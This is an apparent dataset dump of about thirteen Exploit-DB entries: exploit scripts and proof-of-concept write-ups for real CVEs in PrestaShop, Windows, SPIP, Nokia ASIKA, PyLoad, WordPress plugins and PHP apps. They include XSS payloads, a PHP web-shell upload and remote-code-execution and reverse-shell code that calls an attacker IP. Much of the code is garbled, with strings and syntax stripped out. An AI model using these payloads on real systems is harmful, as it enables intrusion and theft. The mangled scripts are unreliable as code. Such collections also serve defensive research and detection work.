QLWD/code_shield huggingface dataset:
标题: PrestaShop Winbiz Payment module - Improper Limitation of a Pathname to a Restricted Directory EDB-ID: 51545 CVE: 2023-30198 类型: WEBAPPS 平台: PHP 发布日期: 2023-06-26 漏洞利用脚本: # Exploit Title: PrestaShop Winbiz Payment module - Improper Limitation of a Pathname to a Restricted Directory
# Date: 2023-06-20
# Dork: /modules/winbizpayment/downloads/download.php
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : webapps
# Vendor Homepage: https://shop.webbax.ch/modules-pour-winbiz/153-module-prestashop-winbiz-payment-reverse.html
# Version: 17.1.3 (REQUIRED)
# Tested on: Windows/Linux
# CVE : CVE-2023-30198

 requests
 string
 random


base_url  


login_url  base_url  


username  
password  


download_url  base_url  


order_id  


file_path    order_id


session_cookies  


csrf_token  joinrandomchoicesstringascii_uppercase  stringdigits k


login_data   username  password  csrf_token
session  requestsSession
response  sessionpostlogin_url datalogin_data


session_cookies  sessioncookiesget_dict


csrf_token  joinrandomchoicesstringascii_uppercase  stringdigits k


download_data   order_id  csrf_token
response  sessionpostdownload_url cookiessession_cookies datadownload_data


 file_path   f
    fwriteresponsecontent


  file_path URL: https://www.exploit-db.com/exploits/51545
标题: Windows 11 22h2 - Kernel Privilege Elevation EDB-ID: 51544 CVE: 2023-28293 类型: LOCAL 平台: WINDOWS 发布日期: 2023-06-26 漏洞利用脚本: // Exploit Title: Windows 11 22h2 - Kernel Privilege Elevation
// Date: 2023-06-20
// country: Iran
// Exploit Author: Amirhossein Bahramizadeh
// Category : webapps
// Vendor Homepage:
// Tested on: Windows/Linux
// CVE : CVE-2023-28293

#include <windows.h>
#include <stdio.h>

// The vulnerable driver file name
const char *driver_name = "vuln_driver.sys";


  device_name  







 

    HANDLE device
    DWORD bytes_returned
     input_bufferIOCTL_BUFFER_SIZE
     output_bufferIOCTL_BUFFER_SIZE

    
     driver_name 
    
         
         
    

    
    device  device_name GENERIC_READ  GENERIC_WRITE   OPEN_EXISTING FILE_ATTRIBUTE_NORMAL 
     device  INVALID_HANDLE_VALUE
    
         
         
    

    
    input_buffer  IOCTL_BUFFER_SIZE

    
     device IOCTL_VULN_CODE input_buffer IOCTL_BUFFER_SIZE output_buffer IOCTL_BUFFER_SIZE bytes_returned 
    
         
         
    

    
     output_buffer

    
     
    
         
         
    

    
    device

     


BOOL LPCTSTR driver_name LPCTSTR service_name

    SC_HANDLE sc_manager service
    DWORD error

    
    sc_manager    SC_MANAGER_ALL_ACCESS
     sc_manager  
    
         FALSE
    

    
    service  sc_manager service_name service_name SERVICE_ALL_ACCESS SERVICE_KERNEL_DRIVER SERVICE_DEMAND_START SERVICE_ERROR_NORMAL driver_name     
     service  
    
        error  
         error  ERROR_SERVICE_EXISTS
        
            
            service  sc_manager service_name SERVICE_ALL_ACCESS
             service  
            
                sc_manager
                 FALSE
            
        
        
        
            sc_manager
             FALSE
        
    

    
     service  
    
        error  
         error  ERROR_SERVICE_ALREADY_RUNNING
        
            service
            sc_manager
             FALSE
        
    

    service
    sc_manager
     TRUE


BOOL LPCTSTR service_name

    SC_HANDLE sc_manager service
    SERVICE_STATUS status
    DWORD error

    
    sc_manager    SC_MANAGER_ALL_ACCESS
     sc_manager  
    
         FALSE
    

    
    service  sc_manager service_name SERVICE_ALL_ACCESS
     service  
    
        sc_manager
         FALSE
    

    
     service SERVICE_CONTROL_STOP status
    
        error  
         error  ERROR_SERVICE_NOT_ACTIVE
        
            service
            sc_manager
             FALSE
        
    

    
     service
    
        service
        sc_manager
         FALSE
    

    service
    sc_manager
     TRUE URL: https://www.exploit-db.com/exploits/51544
标题: NCH Express Invoice - Clear Text Password Storage and Account Takeover EDB-ID: 51540 CVE: 2020-11560 类型: LOCAL 平台: WINDOWS 发布日期: 2023-06-23 漏洞利用脚本: # Exploit Title: NCH Express Invoice - Clear Text Password Storage and Account Takeover
# Google Dork:: intitle:ExpressInvoice - Login
# Date: 07/Apr/2020
# Exploit Author: Tejas Nitin Pingulkar (https://cvewalkthrough.com/)
# Vendor Homepage: https://www.nchsoftware.com/
# Software Link: http://www.oldversiondownload.com/oldversions/express-8-05-2020-06-08.exe
# Version: NCH Express Invoice 8.24 and before
# CVE Number : CVE-2020-11560
# CVSS: 7.8 (High)
# Reference: https://cvewalkthrough.com/cve-2020-11560/
# Vulnerability Description:
# Express Invoice is a thick client application that has functionality to allow the application access over the web. While configuring web access function application ask for user details such as username, password, email, etc. Application stores this information in “C:\ProgramData\NCH Software\ExpressInvoice\Accounts” in clear text as well as due to inadequate folder pemtion any Low prevladge authenticated user can access files stored in cleartext format


 os
 urllibparse


 osname  
    ossystem


 url
    decoded_url  urllibparseunquoteurl
     decoded_url


 file_list
     i   file_list start
        
        username  split
        f






agreement  
 agreement  
    
    exit

nch_version  
 nch_version  
    file_directory  r

    file_directory  r

file_list  oslistdirfile_directory

list_filesfile_list

selected_file  
selected_file  selected_file  

file_path  ospathjoinfile_directory file_listselected_file
 file_path   
    contents  read

f

exploit_option  
                       
                       
                       


 exploit_option  
    decoded_contents  decode_urlcontents
    
    decoded_contents
 exploit_option  
    new_password  
    current_password  contentssplitsplit
    replaced_contents  contentsreplacef f
    
    replaced_contents
     file_path   
        writereplaced_contents
        
 exploit_option  
    replaced_contents  contentsreplace replace 
    
    replaced_contents
     file_path   
        writereplaced_contents

    
    exit URL: https://www.exploit-db.com/exploits/51540
标题: Smart Office Web 20.28 - Remote Information Disclosure (Unauthenticated) EDB-ID: 51539 CVE: 2022-47076 2022-47075 类型: WEBAPPS 平台: ASPX 发布日期: 2023-06-22 漏洞利用脚本: # Exploit Title: Smart Office Web 20.28 - Remote Information Disclosure (Unauthenticated)
# Shodan Dork:: inurl:"https://www.shodan.io/search?query=smart+office"
# Date: 09/Dec/2022
# Exploit Author: Tejas Nitin Pingulkar (https://cvewalkthrough.com/)
# Vendor Homepage: https://smartofficepayroll.com/
# Software Link: https://smartofficepayroll.com/downloads
# Version: Smart Office Web 20.28 and before
# CVE Number : CVE-2022-47075 and CVE-2022-47076
# CVSS : 7.5 (High)
# Reference : https://cvewalkthrough.com/smart-office-suite-cve-2022-47076-cve-2022-47075/
# Vulnerability Description:
# Smart Office Web 20.28  and before allows Remote Information Disclosure(Unauthenticated) via insecure direct object reference (IDOR). This was fixed in latter version except for ExportEmployeeDetails.

 wget
 os
 colorama  Fore Style

 url filename
    wgetdownloadurl filename


ForeYELLOW  



agree  
 agree  
    
    exit


name  
ForeRED  name
StyleRESET_ALL  

website  
target_version  
folder_name  


  ospathexistsfolder_name
    osmakedirsfolder_name

urls_filenames  

 target_version  
    urls_filenamesappendwebsite   

    urls_filenamesextend
        website   
        website   
        website   
        website   
    



 url filename  urls_filenames
    download_fileurl ospathjoinfolder_name filename


ForeRED  
StyleRESET_ALL URL: https://www.exploit-db.com/exploits/51539
标题: SPIP v4.2.0 - Remote Code Execution (Unauthenticated) EDB-ID: 51536 CVE: 2023-27372 类型: WEBAPPS 平台: PHP 发布日期: 2023-06-20 漏洞利用脚本: #!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Exploit Title: SPIP v4.2.1 - Remote Code Execution (Unauthenticated)
# Google Dork: inurl:"/spip.php?page=login"
# Date: 19/06/2023
# Exploit Author: nuts7 (https://github.com/nuts7/CVE-2023-27372)
# Vendor Homepage: https://www.spip.net/
# Software Link: https://files.spip.net/spip/archives/
# Version: < 4.2.1 (Except few fixed versions indicated in the description)
# Tested on: Ubuntu 20.04.3 LTS, SPIP 4.0.0
# CVE reference : CVE-2023-27372 (coiffeur)
# CVSS : 9.8 (Critical)
#







 argparse
 bs4
 html
 requests

 
    parser  argparseArgumentParserdescription
    parseradd_argument  default required 
    parseradd_argument  default required 
    parseradd_argument  default action 
     parserparse_args

 url
    r  requestsget  url timeout
    soup  bs4BeautifulSouprtext 
    csrf_input  soupfind  
     csrf_input
        csrf_value  csrf_input
         optionsverbose
              csrf_value
         csrf_value
    
        
         

 url payload
    data  
         
         
         csrf
         payload
    
    r  requestspost  url datadata
     optionsverbose
          payload
     

 __name__  
    options  parseArgs

    requestspackagesurllib3disable_warnings
    requestspackagesurllib3utilssl_DEFAULT_CIPHERS  
    
        requestspackagesurllib3contribpyopensslutilssl_DEFAULT_CIPHERS  
     AttributeError
        

    csrf  get_anticsrfurloptionsurl
    send_payloadurloptionsurl payload    optionscommand optionscommand URL: https://www.exploit-db.com/exploits/51536
标题: Nokia ASIKA 7.13.52 - Hard-coded private key disclosure EDB-ID: 51535 CVE: 2023-25187 类型: REMOTE 平台: HARDWARE 发布日期: 2023-06-20 漏洞利用脚本: // Exploit Title: Nokia ASIKA 7.13.52 - Hard-coded private key disclosure
// Date: 2023-06-20
// Exploit Author: Amirhossein Bahramizadeh
// Category : Hardware
// Vendor Homepage: https://www.nokia.com/about-us/security-and-privacy/product-security-advisory/cve-2023-25187/
// Version: 7.13.52 (REQUIRED)
// Tested on: Windows/Linux
// CVE : CVE-2023-25187

#include <stdio.h>
#include <stdlib.h>











 host  


 port  


 username  
 password  


 attacker_ip  


 attacker_port  





  sock1  sock2

     bufferMAX_LEN
    ssize_t bytes_read

     bytes_read  sock1 buffer MAX_LEN  
    
        sock2 buffer bytes_read
    


 

     sock pid1 pid2
     sockaddr_in addr
     argv    username                host 

    
    sock  AF_INET SOCK_STREAM 

    
    addr  addr
    addrsin_family  AF_INET
    addrsin_port  port
    AF_INET host addrsin_addr

    
     sock  sockaddr addr addr  
    
          host port errno
        
    

    
    sock  
    sock  

    
    sock username username
    sock  
    sock  

    
    sock password password
    sock  

    
    

    
    pid1  
     pid1  
    
         argv
        
    

    
    pid2  
     pid2  
    
                      
        
    

    
    

    
    pid1  
     pid1  
    
        sock STDIN_FILENO
        
    
    pid2  
     pid2  
    
        STDOUT_FILENO sock
        
    

    
    pid1  
    pid2  

    
    sock URL: https://www.exploit-db.com/exploits/51535
标题: Super Socializer 7.13.52 - Reflected XSS EDB-ID: 51534 CVE: 2023-2779 类型: WEBAPPS 平台: PHP 发布日期: 2023-06-20 漏洞利用脚本: # Exploit Title: Super Socializer 7.13.52 - Reflected XSS
# Dork: inurl: https://example.com/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[%3Cimg%20src%3Dx%20onerror%3Dalert%28document%2Edomain%29%3E]=https://www.google.com
# Date: 2023-06-20
# Exploit Author: Amirhossein Bahramizadeh
# Category : Webapps
# Vendor Homepage: https://wordpress.org/plugins/super-socializer
# Version: 7.13.52 (REQUIRED)
# Tested on: Windows/Linux
# CVE : CVE-2023-2779
import requests

# The URL of the vulnerable AJAX endpoint
url = "https://example.com/wp-admin/admin-ajax.php"


vulnerable_param  


payload      vulnerable_param   


response  requestsposturl datapayload


   responsetext URL: https://www.exploit-db.com/exploits/51534
标题: WP Sticky Social 1.0.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting (XSS) EDB-ID: 51533 CVE: 2023-3320 类型: WEBAPPS 平台: PHP 发布日期: 2023-06-20 漏洞利用脚本: # Exploit Title: WP Sticky Social 1.0.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting (XSS)
#  Dork: inurl:~/admin/views/admin.php
# Date: 2023-06-20
# Exploit Author: Amirhossein Bahramizadeh
# Category : Webapps
# Vendor Homepage: https://wordpress.org/plugins/wp-sticky-social
# Version: 1.0.1 (REQUIRED)
# Tested on: Windows/Linux
# CVE : CVE-2023-3320

import requests
 hashlib
 time


url  


user_agent  


nonce  hashlibsha256timetimeencodehexdigest


payload  
     nonce
     
     
    



headers  
     user_agent
     url
     
    



response  requestsposturl datapayload headersheaders


 responsestatus_code URL: https://www.exploit-db.com/exploits/51533
标题: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE) EDB-ID: 51532 CVE: 2023-0297 类型: WEBAPPS 平台: PYTHON 发布日期: 2023-06-14 漏洞利用脚本: # Exploit Title: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
# Date: 06-10-2023
# Credits: bAu @bauh0lz 
# Exploit Author: Gabriel Lima (0xGabe)
# Vendor Homepage: https://pyload.net/
# Software Link: https://github.com/pyload/pyload
# Version: 0.5.0
# Tested on: Ubuntu 20.04.6
# CVE: CVE-2023-0297

import requests, argparse

parser = argparse.ArgumentParser()
parser.add_argument('-u', action='store', dest='url', required=True, help='Target url.')
parser.add_argument('-c', action='store', dest='cmd', required=True, help='Command to execute.')
arguments = parser.parse_args()

 url
    
        res  requestsgeturl  
         resstatus_code  
             
        
             

     requestsexceptionsRequestException  e
         e
        exit

 url cmd
    endpoint  url  
       cmd
        validCommand  cmdreplace 
    
        validCommand  cmd

    payload  validCommand
    test  requestspostendpoint headers datapayload
    

 targetUrl Command
      targetUrl
    alive  doRequesttargetUrl
     alive  
        
        runExploittargetUrlCommand
    
        

argumentsurl    argumentscmd  
    targetUrl  argumentsurl
    Command  argumentscmd
    maintargetUrl Command URL: https://www.exploit-db.com/exploits/51532
标题: WordPress Theme Medic v1.0.0 - Weak Password Recovery Mechanism for Forgotten Password EDB-ID: 51531 CVE: 2020-11027 类型: WEBAPPS 平台: PHP 发布日期: 2023-06-19 漏洞利用脚本: # Exploit Title: WordPress Theme Medic v1.0.0 - Weak Password Recovery Mechanism for Forgotten Password
# Dork: inurl:/wp-includes/class-wp-query.php
# Date: 2023-06-19
# Exploit Author: Amirhossein Bahramizadeh
# Category : Webapps
# Vendor Homepage: https://www.templatemonster.com/wordpress-themes/medic-health-and-medical-clinic-wordpress-theme-216233.html
# Version: 1.0.0 (REQUIRED)
# Tested on: Windows/Linux
# CVE: CVE-2020-11027

 requests
 bs4  BeautifulSoup
 datetime  datetime timedelta


site_url  
user_email  




    f
    email  fread
    soup  BeautifulSoupemail 
    reset_link  soupfind href
    f


response  requestsgetreset_link
 responsestatus_code  
    
    soup  BeautifulSoupresponsetext 
    expiration_date_str  soupfind string s   stextsplit
    expiration_date  datetimestrptimeexpiration_date_str 
    f

    
     expiration_date  datetimenow  timedeltahours
        
    
        

    f
    exit URL: https://www.exploit-db.com/exploits/51531
标题: Symantec SiteMinder WebAgent v12.52 - Cross-site scripting (XSS) EDB-ID: 51530 CVE: 2023-23956 类型: WEBAPPS 平台: HARDWARE 发布日期: 2023-06-19 漏洞利用脚本: Exploit Title: Symantec SiteMinder WebAgent v12.52 - Cross-site scripting (XSS)
Google Dork: N/A
Date: 18-06-2023
Exploit Author: Harshit Joshi
Vendor Homepage: https://community.broadcom.com/home
Software Link: https://www.broadcom.com/products/identity/siteminder
Version:  12.52
Tested on: Linux, Windows
CVE: CVE-2023-23956
Security Advisory: https://support.broadcom.com/external/content/SecurityAdvisories/0/22221

*Description:*
I am writing to report two XSS vulnerabilities (CVE-2023-23956) that I have
discovered in the  Symantec SiteMinder WebAgent. The vulnerability is
related to the improper handling of user input and has been assigned the
Common Weakness Enumeration (CWE) code CWE-79. The CVSSv3 score for this
vulnerability is 5.4.

Vulnerability Details:
---------------------
*Impact:*

This vulnerability allows an attacker to execute arbitrary JavaScript code
in the context of the affected application.

*Steps to Reproduce:*

*First:*

1) Visit -
https://domain.com/siteminderagent/forms/login.fcc?TYPE=xyz&REALMOID=123&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=-SM-%2F%22%20onfocus%3D%22alert%281%29%22%20autofocus%3D%22

2) After visiting the above URL, click on the "*Change Password*" button,
and the popup will appear.
- The *SMAGENTNAME *parameter is the source of this vulnerability.
*- Payload Used: **-SM-/" onfocus="alert(1)" autofocus="*

*Second:*

1) Visit -
https://domain.com/siteminderagent/forms/login.fcc?TYPE=123&TARGET=-SM-%2F%22%20onfocus%3D%22alert%281%29%22%20autofocus%3D%22
2) After visiting the above URL, click on the "*Change Password*" button,
and the popup will appear.
- The *TARGET *parameter is the source of this vulnerability.
*- Payload Used: **-SM-/" onfocus="alert(1)" autofocus="* URL: https://www.exploit-db.com/exploits/51530
标题: Student Study Center Management System v1.0 - Stored Cross-Site Scripting (XSS) EDB-ID: 51528 CVE: 2023-33580 类型: WEBAPPS 平台: PHP 发布日期: 2023-06-19 漏洞利用脚本: # Exploit Title: Student Study Center Management System v1.0 - Stored Cross-Site Scripting (XSS)
# Date of found: 12/05/2023
# Exploit Author: VIVEK CHOUDHARY @sudovivek
# Version: V1.0
# Tested on: Windows 10
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/student-study-center-management-system-using-php-and-mysql/
# CVE: CVE-2023-33580
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33580

Vulnerability Description -

    The Student Study Center Management System V1.0, developed by PHPGurukul, is susceptible to a critical security vulnerability known as Stored Cross-Site Scripting (XSS). This vulnerability enables attackers to inject malicious JavaScript code, which is then stored and executed by the application. The underlying issue lies in the system's failure to adequately sanitize and validate user-provided input within the "Admin Name" field on the Admin Profile page, thereby allowing attackers to inject arbitrary JavaScript code.


Steps to Reproduce -

    The following steps demonstrate how to exploit the Stored XSS vulnerability in the Student Study Center Management System V1.0:
    
        1.  Visit the Student Study Center Management System V1.0 application by accessing the URL: http://localhost/student-study-center-MS-PHP/sscms/index.php.

        2.  Click on the "Admin" button to navigate to the admin login page.

        3.  Login to the Admin account using the default credentials.
                - Username: admin
                - Password: Test@123

        4.  Proceed to the Admin Profile page.

        5.  Within the "Admin Name" field, inject the following XSS payload, enclosed in brackets: {"><script>alert("XSS")</script>}.

        6.  Click on the "Submit" button.

        7.  Refresh the page, and the injected payload will be executed.


As a result of successful exploitation, the injected JavaScript code will be stored in the application's database. Subsequently, whenever another user accesses the affected page, the injected code will execute, triggering an alert displaying the text "XSS." This allows the attacker to execute arbitrary code within the user's browser, potentially leading to further attacks or unauthorized actions. URL: https://www.exploit-db.com/exploits/51528
标题: Teachers Record Management System 1.0 - File Upload Type Validation EDB-ID: 51512 CVE: 2023-3187 类型: WEBAPPS 平台: PHP 发布日期: 2023-06-13 漏洞利用脚本: Exploit Title: Teachers Record Management System 1.0 – File Upload Type Validation
Date: 17-01-2023
EXPLOIT-AUTHOR: AFFAN AHMED
Vendor Homepage: <https://phpgurukul.com>
Software Link: <https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/>
Version: 1.0
Tested on: Windows 11 + XAMPP
CVE : CVE-2023-3187

===============================
STEPS_TO_REPRODUCE
===============================
1. Login into Teacher-Account with the credentials “Username: jogoe12@yourdomain.com”
Password: Test@123”
2. Navigate to Profile Section and edit the Profile Pic by clicking on Edit Image
3. Open the Burp-suite and Intercept the Edit Image Request
4. In POST Request Change the “ Filename “ from “ profile picture.png “ to “profile picture.php.gif ”
5. Change the **Content-type from “ image/png “ to “ image/gif “
6. And Add this **Payload** : `GIF89a <?php echo system($_REQUEST['dx']); ?>`
7. Where **GIF89a is the GIF magic bytes this bypass the file upload extension**
8. Below is the Burpsuite-POST Request for all the changes that I have made above

==========================================
BURPSUITE_REQUEST
==========================================
POST /trms/teacher/changeimage.php HTTP/1.1
Host: localhost
Content-Length: 442
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: <http://localhost>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryndAPYa0GGOxSUHdF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: <http://localhost/trms/teacher/changeimage.php>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=8alf0rbfjmhm3ddra7si0cv7qc
Connection: close

------WebKitFormBoundaryndAPYa0GGOxSUHdF
Content-Disposition: form-data; name="subjects"

John Doe
------WebKitFormBoundaryndAPYa0GGOxSUHdF
Content-Disposition: form-data; name="newpic"; filename="profile picture.php.gif"
Content-Type: image/gif

GIF89a <?php echo system($_REQUEST['dx']); ?>

------WebKitFormBoundaryndAPYa0GGOxSUHdF
Content-Disposition: form-data; name="submit"


------WebKitFormBoundaryndAPYa0GGOxSUHdF--


===============================
PROOF_OF_CONCEPT
===============================
GITHUB_LINK: https://github.com/ctflearner/Vulnerability/blob/main/Teacher_Record_Management_System/trms.md URL: https://www.exploit-db.com/exploits/51512